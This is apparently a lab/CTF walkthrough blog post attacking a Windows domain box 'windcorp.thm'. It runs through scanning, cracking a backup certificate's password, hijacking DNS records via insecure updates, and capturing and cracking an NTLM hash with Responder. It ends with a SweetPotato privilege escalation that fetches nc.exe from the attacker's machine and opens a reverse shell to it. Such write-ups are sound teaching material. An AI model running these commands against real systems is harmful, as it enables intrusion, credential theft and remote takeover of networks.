Complex Attack Types: Sample Scenarios 32

We are starting another tough fight. We are faced with a complex system again and we will defeat this system with our intelligence.

In this scenario, we will use various tools and principles respectively and exploit the weaknesses of the system in front of us.

You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.

Get ready to start cyberpunk!

This is your journey.

As we always do, let’s save the file locations and IPs of the wordlists we use most on the shell as constant values. This shortens our processing time and makes it easier for us to write commands. Then, let’s define the target machine on the local DNS using the /etc/hosts file.

Ping it to check.

The basic process is completed. We can move on to the next stage.

Using the Nmap tool, we can explore the target network. We need to record open ports and versions and decide how to expand our attack surface: nmap -sV -sC -oN nmap_result.txt -T4 -A --script=vuln -Pn -sS --min-rate=300 --max-retries=3 -p- $target_ip

You must be patient. This gives you beautiful paths.

We have various ports available. We also obtained notes that could give us ideas along with version information. The ports we can use in our scenario are listed below.

Let’s write the general meanings of the ports below.

53/tcp — domain:

88/tcp — kerberos-sec:

135/tcp — msrpc:

139/tcp — netbios-ssn:

389/tcp — ldap:

443/tcp — https:

445/tcp — microsoft-ds:

464/tcp — kpasswd5:

593/tcp — http-rpc-epmap:

636/tcp — ldapssl:

2179/tcp — vmrdp:

3268/tcp — globalcatLDAP:

3269/tcp — globalcatLDAPssl:

5222/tcp — xmpp-client:

5223/tcp — hpvirtgrp:

5229/tcp — jaxflow:

5269/tcp — xmpp-server:

5270/tcp — xmp:

7070/tcp — realserver:

7443/tcp — oracleas-https:

7777/tcp — cbt:

9090/tcp — zeus-admin:

9091/tcp — xmltec-xmlmail:

9389/tcp — adws:

In a real scenario, you should analyze all of these and record each finding as a note. Sometimes small details produce good results for you.

From our Nmap output, we learned the existence of some domains below.

Now let’s save this on local DNS.

Let’s check: windcorp.thm

We were redirected. When you encounter such a situation, register the target in local DNS again: fire.windcorp.thm

Try again.

We made the connection.

Let’s talk about a tip we can get through the browser. You can see some additional details by accessing “page info” (using the shield icon on the left side of the URL bar).

Have you seen some URL extension points? For example: http://fire.windcorp.thm:9090/plugins/presence/status?jid=tinywolf424@fire.windcorp.thm

It could be a username… Save all of these.

They love animals…

View the certificate now.

Now there are different subdomains. Save these to /etc/hosts file.

We have to do a subdomain search: theHarvester -d windcorp.thm -c -r -l 500

This is a command given as an example. Use this in your own real scenario. You can also carry out a similar process with tools such as ffuf and gobuster.

Remember that port 53 is open. Now we can obtain more detailed information by performing DNS enumeration using the Domain Information Groper (dig) tool.

Use dig windcorp.thm any @10.10.102.77

The command dig windcorp.thm any @10.10.102.77 is a DNS query using the dig tool to request all available DNS records for the domain windcorp.thm from the DNS server at 10.10.102.77. It is useful for testing and troubleshooting DNS configurations by retrieving all DNS records for a domain to ensure they are correctly set up and functioning as expected.

Yes, we got the hit now. You should check the tip written in the TXT record.

The DNS server is potentially vulnerable to unauthorized changes. This could lead to a variety of security issues, including DNS spoofing, unauthorized DNS record changes, and domain hijacking.

Dynamic DNS updates allow for the automatic updating of a DNS server with new or changed DNS records without manual intervention. When these updates are non-secure, any client can potentially update the DNS records, posing a significant security risk.

You can find out whether DNS Zone transfer is possible with this command: nmap --script=dns-zone-transfer -p $target_ip if you need.

Let’s prove this with different methods.

We will use:

Then use it:

You’ve seen how to do this.

Although it is not a complete solution for this scenario, add this method to your own attack methods.

Now let’s do a research on web contents and discover hidden pages: gobuster dir -u https://fire.windcorp.thm -w $wordlist_dir -k -t 50 -o buster_dir.txt

Powershell? We have such a page. Now, check.

A login panel appears before us. We can brute force here. We had potential usernames.

Now we will use the ffuf tool. But before that, get the request schema.

You can open the “Network” section of the developer tools via the browser and obtain the payload. Payload occurs when you give random login values ​​and send a query.

You can also note this as an example.

This did not work in our scenario.

Let’s discover pages on another subdomain:gobuster dir -u https://selfservice.dev.windcorp.thm -w $wordlist_dir -k -t 50 -o buster_dir.txt

We have backup files! Go there.

A cert.pfx file is a type of file that is used to store a combination of an SSL/TLS certificate and its corresponding private key in a single, encrypted file. The .pfx file format is also known as PKCS#12 (Public Key Cryptography Standards #12). These files are often used for importing and exporting certificates and private keys in a secure way. Use this source: https://book.hacktricks.xyz/crypto-and-stego/certificates

The PKCS#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.

Download this file.

We will use openssl to check this content: openssl pkcs12 -info -in cert.pfx

It is protected by a password… We have to break this.

We can use crackpkcs12 tool. Source is here: https://github.com/crackpkcs12/crackpkcs12

You can download it directly from here: https://sourceforge.net/projects/crackpkcs12/files/latest/download

Execute the commands below.

After installation, execute the command: crackpkcs12 -d rockyou.txt cert.pfx

Additionally, you can also use the pfx2john.py tool. Source is here: https://github.com/sirrushoo/python/blob/master/pfx2john.py

Just run this: ./pfx2john.py cert.pfx > hashcert

After this process, use the john tool: john hashcert --wordlist=/usr/share/wordlists/rockyou.txt

You will get:

Now we have the password: ganteng

Now generate private key: openssl pkcs12 -in cert.pfx -nocerts -out private.pem -nodes

After that, we need to generate public key: openssl pkcs12 -in cert.pfx -out public.pem -clcerts -nokeys

Now we have both private and public keys.

Do you remember the nsupdate tool? It didn’t work because we didn’t have the authority. Now we can try this again.

Now let’s test this theory by creating a standard TXT record.

Then use nslookup to check:

It’s okay now.

Now let’s delete the existing DNS A record and define our own machine IP.

Check this again: dig selfservice.windcorp.thm @10.10.102.77

Yes, our own machine is now in the A record!

Now we will use our responder tool, we will change the configuration files for SSL certificates for our HTTP server.

We will put the public and private “.pem” files we created before in this file location: /usr/share/responder/certs

Use: cp private.pem public.pem /usr/share/responder/certs/

Then edit /etc/responder/Responder.conf .

You need to find the “HTTPS Server SSL Configuration Settings” and provide these file locations.

Now it’s time to run the responder tool: sudoresponder -I tun0

If it is not on your system, use sudo apt install responder

Just visit: https://selfservice.dev.windcorp.thm/backup/

You will get:

As you can see, we have the NTLM hash.

Save this.

Use the john tool again: john eddhash.hash --wordlist=/usr/share/wordlists/rockyou.txt

You will get password:

Go back to the “Powershell” page and enter these credentials.

Yeap! We got the “Powershell” screen.

Let’s also look at privilege powers.

SeMachineAccountPrivilege (Add workstations to domain)

SeChangeNotifyPrivilege (Bypass traverse checking)

SeImpersonatePrivilege (Impersonate a client after authentication)

SeIncreaseWorkingSetPrivilege (Increase a process working set)

SeImpersonatePrivilege, this authorization can enable us to receive a reverse shell. Use this source: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens

Any process holding this privilege can impersonate (but not create) any token for which it is able to gethandle. You can get a privileged token from a Windows service (DCOM) making it perform an NTLM authentication against the exploit, then execute a process as SYSTEM. Exploit it with juicy-potato, RogueWinRM (needs winrm disabled), SweetPotato, PrintSpoofer.

Let’s see what the lab environment provides us.

When you explore a little, we see that there are necessary “.exe”.

If you do not have these .exe’s on your target, you need to transfer them from your local to the target machine.

First you need to run an HTTP server on your machine: python3 -m http.server

You can use this command: Invoke-WebRequest -Uri “http://10.10.79.7:8000/nc.exe" -OutFile “C:\Users\edwardle.WINDCORP\Documents\nc.exe”

You can transfer any file you want with this method. We transferred the certificate file as an example.

You need to examine how “SweetPotato” is used.

It may allow us to transfer the installed netcat (nc) process to the machine we put in listening mode and use “cmd” from there.

First, let’s put our machine in listening mode: nc -nlvp 12444

Then use it .\SweetPotato.exe -p nc.exe -a “ 10.10.79.7 12444 -e cmd”

We got the connection.

We are inside now.

Don’t give up on hacking.

Code for good.

^-^